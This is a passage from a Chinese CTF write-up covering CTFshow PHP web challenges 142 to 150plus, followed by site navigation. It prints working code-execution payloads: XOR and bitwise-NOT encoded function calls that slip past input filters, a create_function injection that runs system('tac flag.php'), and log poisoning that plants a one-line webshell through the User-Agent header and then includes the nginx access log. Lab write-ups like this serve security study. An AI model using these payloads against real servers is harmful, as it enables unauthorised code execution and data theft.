    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

很简单,直接
v1=0,如果等于1你将需要等到0x36d * 0x36d * 0x36d * 0x36d * 0x36d这么久才有回显

web143

本题用web141的异或脚本即可解决

web144

和141一样,但注意要看清v1v2v3的位置!!!

web145

本题把*和-和+都过滤了,没思路,看大佬博客
发现除了上述的符号还可以使用以下的

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

第二个被ban,因此用上一题的第一个

web147

本题利用create_function函数

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 }phpinfo();//
就等价于

function f($a) {
  }phpinfo();//
}
从而执行phpinfo()命令

详细可以看这篇文章
则paylaod

GET?show=}system('tac flag.php');//
POST:ctf=\create_function

web148

没有过滤异或,直接异或

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

web149

scandir():读取()内路径下的文件
unlink():删除文件

传🐎到index.php或进行条件竞争

web150

令isvip为true之后现在日志中传入一句话(即在user-agent中加入)
之后访问日志
payload

ctf=/var/log/nginx/access.log&a=system("tac flag.php");

web150plus

知识点

_可以用…来代替
__autoload():进行类判断时被调用

则payload

?..CTFSHOW..=phpinfo

flag在phpinfo中

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-04 13:13:02  更:2022-01-04 13:13:26 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 4:52:28-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计